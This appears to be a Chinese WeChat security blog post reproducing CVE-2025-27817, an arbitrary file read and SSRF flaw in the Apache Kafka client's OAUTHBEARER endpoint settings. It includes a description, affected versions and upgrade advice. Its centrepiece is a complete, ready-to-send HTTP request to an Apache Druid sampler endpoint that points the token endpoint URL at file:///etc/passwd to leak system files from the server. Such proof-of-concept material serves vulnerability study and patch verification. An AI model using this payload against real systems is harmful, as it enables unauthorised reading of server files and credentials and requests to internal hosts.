【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817
原文链接: https://mp.weixin.qq.com/s?__biz=MzU5MTc1NTE0Ng==&mid=2247486069&idx=1&sn=686dff0eb15fbaf6950e19c95f008dba
【漏洞复现】Kafka Connect任意文件读取漏洞 CVE-2025-27817
YGnight night安全 2025-06-13 09:22
公众号新规
只对常读
和
星标的公众号才能展示大图推送,
建议大家把公众号“
n
i
g
h
t
安
全
”设为
星
标
,
否
则
可
能
就
看
不
到
啦
!
免责声明
night安全致力于分享技术学习和工具掌握。然而请注意不得将此用于任何未经授权的非法行为,请您严格遵守国家信息安全法律法规。任何违反法律、法规的行为,均与本人无关。如有侵权烦请告知,我们会立即删除并致歉。谢谢!
漏洞描述
已在Apache Kafka Client中发现可能的任意文件读取和SSRF漏洞。Apache Kafka客户端接受用于设置与代理的SASL/OAUTHBEARER连接的配置数据,包括“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”。Apache Kafka 允许客户端读取任意文件并返回错误日志中的内容,或将请求发送到意外位置。在 Apache Kafka 客户端配置可由不受信任的一方指定的应用程序中,攻击者可能会使用“sasl.oauthbearer.token.endpoint.url”和“sasl.oauthbearer.jwks.endpoint.url”配置来读取磁盘和环境变量的任意内容或向意外位置发出请求。具体而言,Apache Kafka Connect 中可能会利用此缺陷从 REST API 访问升级到文件系统/环境/URL 访问,这在某些环境(包括 SaaS 产品)中可能是不可取的。从 Apache Kafka 3.9.1/4.0.0开始,我们添加了一个系统属性(“-Dorg.apache.kafka.sasl.oauthbearer.allowed.urls”)来设置 SASL JAAS 配置中允许的 url。在 3.9.1 中,它默认接受所有 url 以实现向后兼容性。但是,在 4.0.0 及更高版本中,默认值为空列表,用户必须显式设置允许的 url。
影响版本
3.1.0 ≤ Apache Kafka < 3.9.1
漏洞复现
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1617
{
"type": "kafka",
"spec": {
"type": "kafka",
"ioConfig": {
"type": "kafka",
"consumerProperties": {
"bootstrap.servers": "127.0.0.1:6666",
"sasl.mechanism": "OAUTHBEARER",
"security.protocol": "SASL_SSL",
"sasl.login.callback.handler.class": "org.apache.kafka.common.security.oauthbearer.secured.OAuthBearerLoginCallbackHandler",
"sasl.oauthbearer.token.endpoint.url": "file:///etc/passwd",
"sasl.jaas.config": "org.apache.kafka.common.security.oauthbearer.OAuthBearerLoginModule required sasl.oauthbearer.token.endpoint.url=\"http://127.0.0.1:9999/token\" sasl.oauthbearer.jwks.endpoint.url=\"http://127.0.0.1:9999/jwks\" sasl.oauthbearer.client.id=your-client-id sasl.oauthbearer.client.secret=your-client-secret sasl.oauthbearer.expected.audience=kafka sasl.oauthbearer.expected.issuer=\"http://127.0.0.1:9999\" useFirstPass=true serviceName=kafka debug=true;"
},
"topic": "test",
"useEarliestOffset": true,
"inputFormat": {
"type": "regex",
"pattern": "([\\s\\S]*)",
"listDelimiter": "",
"columns": ["raw"]
}
},
"dataSchema": {
"dataSource": "sample",
"timestampSpec": {
"column": "!!!_no_such_column_!!!",
"missingValue": "1970-01-01T00:00:00Z"
},
"dimensionsSpec": {},
"granularitySpec": {
"rollup": false
}
},
"tuningConfig": {
"type": "kafka"
}
},
"samplerConfig": {
"numRows": 500,
"timeoutMs": 15000
}
}
修复建议
官方已推送更新版本,受影响用户可以升级至3.9.1及以上版本。
扫
码
关
注
获
得
更
多
资
讯